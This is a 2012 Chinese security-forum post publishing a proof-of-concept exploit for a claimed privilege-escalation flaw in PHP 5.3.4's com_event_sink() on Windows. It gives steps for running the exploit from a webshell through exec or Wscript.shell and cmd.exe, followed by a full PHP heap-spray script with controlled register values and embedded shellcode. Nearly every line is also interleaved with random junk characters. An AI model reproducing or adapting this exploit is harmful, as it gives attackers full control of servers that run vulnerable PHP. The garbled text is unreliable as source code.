找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2064|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中" L5 F1 b6 o- v6 [. u& g8 y
% x7 p1 I3 W; ~/ G, I; L# w5 {
测试方法如下:cmd /c x:\php\php.exe x:\test.php" V8 t4 i4 T7 ?3 y7 e0 I

+ z' m, L. E! W" y- X下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php) P7 E* A" ?* o6 Y' Y' b, g6 f
这里是两个测试的截图:
& U. o9 R# Y* M. i% E7 Q1 C5 Z$ B2 u. J- i3 A. N% f3 \& u& s* y
$ H1 ^# H5 s9 \- }- v

4 ~  J' E& B3 ^" p
  {: D6 X1 I) P3 l+ v9 f4 X, m$ P- m& U  k
成功利用此漏洞的攻击者将获得系统的最高权限' g7 j& v- I8 \9 \# i0 [8 f

% T6 \! ~; r$ N; W& c2 R: a/ X6 {( F0 m! p: O# M7 k

% C4 Z% w$ B2 I! U. z
( e0 y0 \& y1 y+ Q2 L( ^2 B! }9 n# w# e: \+ d
关于漏洞分析稍后附上。一下是PoC代码:
; y  Q: n: f7 y0 f4 }# I! Q
" M4 ?+ v- q$ B# ]2 u<?php1 v1 j4 b7 }: N8 \0 Z+ q/ V
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
; O2 G6 p5 x/ O9 F: E' {//$eip ="\x44\x43\x42\x41";7 e; H7 |. O. U5 N3 {3 f4 k
$eip= "\x4b\xe8\x57\x78";
& Z5 R) [$ ]9 c$eax ="\x80\x01\x8d\x04";
2 e4 q" b; n; t' @! v" o& V$deodrant="";* n( o- {! `  y" v# V# A, m* J- i
$axespray = str_repeat($eip.$eax,0x80);
, B- Z3 U7 {8 f//048d0190* I/ u& X# C/ K# T' J6 L
echo strlen($axespray);, m* @1 l  Y5 V6 _  }
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";, E& ~  T2 c! {: J: _  D
echo "Silic Group Hacker Army - BlackBap.Org";1 \0 V! e! F9 g+ @0 Q& P
//19200 ==4B32 4b009 W' [" |/ @  l6 W1 k
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}; z  A* U! T- A8 y; [; N
$terminate = "T";
" Q7 s% t1 Q* K! @' @. D  z4 f$u[] =$deodrant;
# k3 S: {8 l8 Z. u+ n" m" G$r[] =$deodrant.$terminate;
: R/ u) J! S! H) k( T. U6 @$a[] =$deodrant.$terminate;
& D3 ]& k2 j) X( J6 o$s[] =$deodrant.$terminate;9 Y' T$ I2 i" g+ y1 j0 h
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
+ n, Z9 i" B4 F; F1 s$vVar = new VARIANT(0x048d0000+180);
7 z: Y2 x$ ~" \; M1 f$ |//弹窗代码(Shellcode)
' L3 h% N, h5 J8 ]$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
$ `% Q+ k5 X! t& i8 h; e$var2 = new VARIANT(0x41414242);
: S% C0 O& }) y, V( i5 h$ D  \" u0 @com_event_sink($vVar,$var2,$buffer);
6 j6 c! a/ D# @- j0 Y$ S* d; U: V?>1 v/ N6 h6 U2 s( h$ J" j9 y) M) |3 P

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表